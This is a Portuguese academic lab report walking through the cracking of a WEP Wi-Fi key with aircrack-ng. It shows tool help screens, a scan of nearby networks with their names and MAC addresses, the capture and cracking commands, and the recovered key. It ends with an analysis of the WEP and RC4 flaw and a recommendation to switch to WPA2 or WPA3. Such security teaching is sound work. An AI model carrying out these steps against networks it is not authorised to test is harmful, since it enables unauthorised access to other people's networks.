

Quebra de senhas com aircrack-ng

Juan Felipe Serafim dos Santos

¹ Centro de Informática
Universidade Federal de Pernambuco (UFPE) – Recife, PE – Brazil

jfss@cin.ufpe.br

Resumo. *A quebra de senhas refere-se ao processo de descobrir ou decifrar senhas com o objetivo de obter acesso não autorizado a sistemas, contas ou dados protegidos, utilizando métodos diversos como: ataque de força bruta, ataque de dicionário, interceptação do tráfego de rede, engenharia social, entre outras técnicas. No contexto de redes Wi-Fi, diz respeito ao processo de obtenção de acesso não autorizado a uma rede sem fio protegida por senha. Essa prática pode ser realizada de várias formas, dependendo da complexidade da senha, do sistema de autenticação adotado, do nível de proteção implementado ou se o alvo detém alguma vulnerabilidade inerente.*

1. Objetivo

Nessa atividade, iremos utilizar o software aircrack-ng para invadir uma rede WEP. As redes WEP, sigla para *Wired Equivalent Privacy*, foi uma das primeiras medidas de segurança em acessos à redes *wireless*. Com o passar do tempo, vulnerabilidades foram detectadas e exploradas em seu algoritmo de encriptação, de tal forma que a segurança de rede foi completamente extinguida.

2. Como a ferramenta funciona

De acordo com a documentação do aircrack: “O Aircrack-ng pode recuperar a chave WEP assim que pacotes criptografados suficientes forem capturados com o airodump-ng. Esta parte do pacote aircrack-ng determina a chave WEP usando dois métodos fundamentais. O primeiro método é por meio da abordagem PTW (Pyshkin, Tews, Weinmann).

[...] O outro método, mais antigo, é o FMS/KoreK. O método FMS/KoreK incorpora vários ataques estatísticos para descobrir a chave WEP e os utiliza em combinação com força bruta. Ele requer mais pacotes que o PTW, mas, por outro lado, é capaz de recuperar a senha quando o PTW às vezes falha.”

Então, vamos utilizar o pacote de ferramentas aircrack-ng. A tela inicial dele mostra um pouco dos parâmetros que serão utilizados.

```

juanfelipe@juanfelipe-PC:~$ aircrack-ng

Aircrack-ng 1.6 - (C) 2006-2020 Thomas d'Otreppe
https://www.aircrack-ng.org

usage: aircrack-ng [options] <input file(s)>

Common options:

-a <mode> : force attack mode (1/WEP, 2/WPA-PSK)
-e <ssid> : target selection: network identifier
-b <bssid> : target selection: access point's MAC
-p <nbcpu> : # of CPU to use (default: all CPUs)
-q : enable quiet mode (no status output)
-C <macs> : merge the given APs to a virtual one
-l <file> : write key to file. Overwrites file.

Static WEP cracking options:

-c : search alpha-numeric characters only
-t : search binary coded decimal chr only
-h : search the numeric key for Fritz!BOX
-d <mask> : use masking of the key (A1:XX:CF:YY)
-m <addr> : MAC address to filter usable packets
-n <nbits> : WEP key length : 64/128/152/256/512
-l <index> : WEP key index (1 to 4), default: any
-f <fudge> : bruteforce fudge factor, default: 2
-k <korek> : disable one attack method (1 to 17)
-x or -x0 : disable bruteforce for last keybytes
-x1 : last keybyte bruteforcing (default)
-x2 : enable last 2 keybytes bruteforcing
-X : disable bruteforce multithreading
-y : experimental single bruteforce mode
-K : use only old Korek attacks (pre-PTW)
-s : show the key in ASCII while cracking
-M <num> : specify maximum number of IVs to use
-D : WEP decloak, skips broken keystreams
-P <num> : PTW debug: 1: disable Klein, 2: PTW
-I : run only 1 try to crack key with PTW
-V : run in visual inspection mode

```

Figura 1. Tela de ajuda do aircrack-ng

Para o objetivo da quebra de senha, será necessário capturar uma quantidade considerável de pacotes que trafegarão entre o ponto de acesso e um determinado dispositivo final. Ainda assim, caso nenhum dispositivo esteja conectado a rede, é possível forçar um tráfego de pacotes entre o ponto de acesso e a máquina atacante, para assim capturar os pacotes necessários.

Para armazenar os pacotes, utilizaremos a ferramenta airodump, incluída no pacote aircrack-ng.

```

juanfelipe@juanfelipe-PC:~$ airodump-ng

Airodump-ng 1.6 - (C) 2006-2020 Thomas d'Otreppe
https://www.aircrack-ng.org

usage: airodump-ng <options> <interface>[,<interface>,...]

Options:
--ivs : Save only captured IVs
--gpsd : Use GPSd
--write <prefix> : Dump file prefix
-w : same as --write
--beacons : Record all beacons in dump file
--update <secs> : Display update delay in seconds
--showack : Prints ack/cts/rts statistics
-h : Hides known stations for --showack
-f <msecs> : Time in ms between hopping channels
--berlin <secs> : Time before removing the AP/client
from the screen when no more packets
are received (Default: 120 seconds)
-r <file> : Read packets from that file
-T : While reading packets from a file,
simulate the arrival rate of them
as if they were 'live'
-X <msecs> : Active Scanning Simulation
--manufacturer : Display manufacturer from IEEE OUI list
--uptime : Display AP Uptime from Beacon Timestamp
--wps : Display WPS information (if any)
--output-format <formats> : Output format. Possible values:
pcap, ivs, csv, gps, kismet, netxml, logcsv
--ignore-negative-one : Removes the message that says
fixed channel <interface>: -1
--write-interval <seconds> : Output file(s) write interval in seconds
--background <enable> : Override background detection.
-n <int> : Minimum AP packets rec'd before
for displaying it

```

Figura 2. Tela de ajuda do airodump-ng

BSSID	PMR	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
B0:82:1C:43:7A:25	-1	0	9	0	13	-1	OPN		<length: 0>
14:4D:67:75:00:70	-27	17	7	0	1	S4e	WEP		2302-2.4G
7C:F1:7E:7C:FB:4B	-43	13	3	0	1	130	WPA2 CCMP	PSK	2302-2.4G_EXT
D8:65:7B:DE:04:2B	-46	10	0	0	1	130	WPA2 CCMP	PSK	VIVOFIBRA-6428
F9:68:65:3F:CC:F9	-54	9	2	0	6	130	WPA2 CCMP	PSK	NASCIMENTO
E4:C0:E2:D0:26:F9	-66	8	0	0	11	195	WPA2 CCMP	PSK	TIM_ULTRAFIBRA_26F5
98:2A:0A:D3:96:1E	-65	11	0	0	11	270	WPA2 CCMP	PSK	PEDRO-VNFIBRA-2.4G
D8:6C:5A:64:06:5D	-71	12	2	0	1	260	WPA2 CCMP	PSK	LUNA
F9:68:65:CE:AE:99	-72	11	0	0	6	130	WPA2 CCMP	PSK	OT_FIBRA_CARLOS 84 2.4G
8E:DC:02:26:FA:82	-78	11	0	0	12	65	WPA2 CCMP	PSK	SSID3
8E:DC:02:36:FA:82	-78	11	0	0	12	65	WPA2 CCMP	PSK	SSID4
8C:DC:02:16:FA:82	-78	12	0	0	12	260	WPA2 CCMP	PSK	PRISCTILIA_SMARTFIBRA
EA:F8:D8:4D:72:B9	-77	7	0	0	1	130	WPA2 CCMP	PSK	<length: 0>
EB:F8:D8:4D:72:B9	-80	8	3	0	1	130	WPA2 CCMP	PSK	QueLzlnha24G
8E:DC:02:16:FA:82	-78	9	0	0	12	65	WPA2 CCMP	PSK	SSID2
F9:68:65:D0:90:29	-81	8	1	0	6	130	WPA2 CCMP	PSK	ALUN-362B
48:51:CF:ED:7A:AS	-81	12	0	0	6	270	WPA2 CCMP	PSK	VN-MATHEUS-2.4G
80:8F:EB:1B:EA:01	-82	7	0	0	5	130	WPA2 CCMP	PSK	Jose Lisboa Neto
S8:2F:F7:16:BB:85	-82	3	1	0	11	260	WPA2 CCMP	PSK	REDE NET 2G
DC:92:72:6F:AA:B3	-85	6	0	0	6	195	WPA2 CCMP	PSK	GfIho
A0:B5:3C:30:AE:08	-86	6	0	0	11	195	WPA2 CCMP	PSK	LIVE TIM_R1CC_2G
C4:01:7C:30:74:58	-86	6	0	0	5	270	WPA2 CCMP	PSK	AJTPP_2G
16:94:4B:16:F3:E8	-84	3	0	0	2	360	WPA2 CCMP	PSK	Lar Dore Lar_2G
84:01:12:DC:09:CC	-83	9	0	0	1	260	WPA2 CCMP	PSK	CLARO_2GDC09C7
D2:CF:0E:FE:41:F8	-86	2	0	0	8	260	OPN		#CLARO-WIFI
CC:F3:C8:57:4E:AF	-87	8	0	0	6	195	WPA3 CCMP	SAE	CLARO_CLASeg_2G
D8:33:87:53:C5:17	-85	6	1	0	8	260	WPA2 CCMP	PSK	CLARO_2GSK512
90:CF:0E:FE:3F:FF	-86	2	1	0	8	260	WPA2 CCMP	PSK	Apartamento2101
96:2C:B3:91:9C:AE	-86	2	0	0	1	195	OPN		#CLARO-WIFI
AA:2B:B0:1D:07:BA	-87	3	0	0	8	360	WPA2 CCMP	PSK	BillyClark_Quartos
36:E6:E6:39:CA:34	-86	4	0	0	11	65	WPA2 CCMP	PSK	[LG_Mall-Mount A/C]ca34

Figura 3. Funcionamento do airodump-ng

A configuração atual da rede vulnerável é a seguinte:

Configurações Básicas

Você pode configurar o número mínimo de configurações sem fio para comunicação, como SSID e Canal. O dispositivo pode ser definido simplesmente com itens de definição só o mínimo.

WIFI On/Off	Habilitar
Nome da Rede(SSID)	2302-2.4G
Banda	2.4 GHz (B+G+N)
Broadcast SSID	Habilitar
Região	Brasil
Canal	Auto
Largura de banda do canal	Auto
Criptografia	WEP-Chave compartilhada
Tipo de Criptografia	WEP64
Formato da Chave	ASCII
Senha	12345

Figura 4. Parâmetros da rede Wi-Fi a ser atacada

Será feita a captura de pacotes da rede vulnerável via airodump-ng com os seguintes parâmetros: `-channel 1 -ivs -bssid 14:4D:67:75:0D:70 -w wep wlp1s0mon`

Onde:

- channel: número do canal em que a rede vulnerável se encontra.
- bssid: endereço MAC da rede alvo
- w: escrever em um arquivo
- ivs: flag para indicar que seja salvo no arquivo somente os *Vetores de inicialização*

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
14:4D:67:75:0D:70	-27	100	5859	94909	8	1	54e.	WEP	WEP	2302-2.4G
BSSID	STATION		PWR	Rate	Lost	Frames	Notes	Probes		
14:4D:67:75:0D:70	7E:F1:7E:0C:FB:48		-44	0 - 1	0	128			2302-2.4G	
14:4D:67:75:0D:70	DE:B0:AA:FD:20:77		-46	54e- 1	165	98057				

Figura 5. Capturando pacotes da rede Wi-Fi a ser atacada

Nesse momento, os IVs estão sendo salvos no armazenamento interno do dispositivo atacante e, enquanto o armazenamento ocorre, é possível verificar se, com a quantidade de IVs disponíveis, qual valor da senha da rede Wi-Fi.

Executando o aircrack com os parâmetros `-b 14:4D:67:75:0D:70 wep-01.ivs`

Onde:

- b: BSSID da rede alvo.
- wep-01.ivs: arquivo com os vetores de inicialização.

```

Aircrack-ng 1.6

[00:00:01] Tested 574717 keys (got 1800 IVs)

KB  depth  byte(vote)
0   35/ 36  E5(2560) 0F(2304) 10(2304) 2F(2304) 3D(2304) 40(2304) 46(2304) 55(2304) 5A(2304) 74(2304) 77(2304)
1   15/ 18  11(3072) 35(2816) 40(2816) 4F(2816) 59(2816) 5A(2816) 66(2816) 7E(2816) B1(2816) B7(2816) C8(2816)
2   10/  2  DD(3072) 58(2816) 5D(2816) 62(2816) 68(2816) 88(2816) 95(2816) 99(2816) A6(2816) AF(2816) C1(2816)
3   12/ 13  1E(3072) 08(2816) 10(2816) 15(2816) 2C(2816) 31(2816) 3A(2816) 5A(2816) 5C(2816) 67(2816) 70(2816)
4   14/  4  DA(3072) 23(2816) 47(2816) 52(2816) 56(2816) 5F(2816) 73(2816) 85(2816) 8C(2816) 9B(2816) A5(2816)

KEY FOUND! [ 31:32:33:34:35 ] (ASCII: 12345 )
Decrypted correctly: 100%

```

Figura 6. Ataque concluído e recuperação completa de senha

3. Análise da vulnerabilidade

A vulnerabilidade das redes WEP é principalmente relacionada ao seu algoritmo de encriptação, o RC4. A segurança da rede utiliza a cifra citada anteriormente, combinado com uma chave estática (de 40 ou 104 bits) e um vetor de inicialização (IV) de apenas 24 bits. O problema é que o tamanho reduzido do IV faz com que ele se repita rapidamente, especialmente em redes com muito tráfego. Como o IV é transmitido em *plaintext* nos pacotes, um atacante pode capturar milhares ou milhões de pacotes para analisar os padrões de repetição dos IVs com os métodos FMS e/ou PTW.

4. Sugestão de defesa

Alterar imediatamente o protocolo de encriptação da rede para um dos mais recentes como o WPA2 e WPA3. Tais cifras tem procedimentos distintos aos da rede WEP e (ainda) não foram descobertas vulnerabilidades latentes.

Referências

- (2019). Documentação aircrack-ng. <https://www.aircrack-ng.org/doku.php?id=aircrack-ng>.
- Erik Tews, A. P. and Weinmann, R.-P. (2007). aircrack-ptw. <https://web.archive.org/web/20070714194826/http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/>.
- Stubblefield, A. Ioannidis, J. e. R. A. (2001). Using the fluhrer, mantin, and shamir attack to break wep. https://download.aircrack-ng.org/wiki-files/doc/using_FMS_attack.pdf.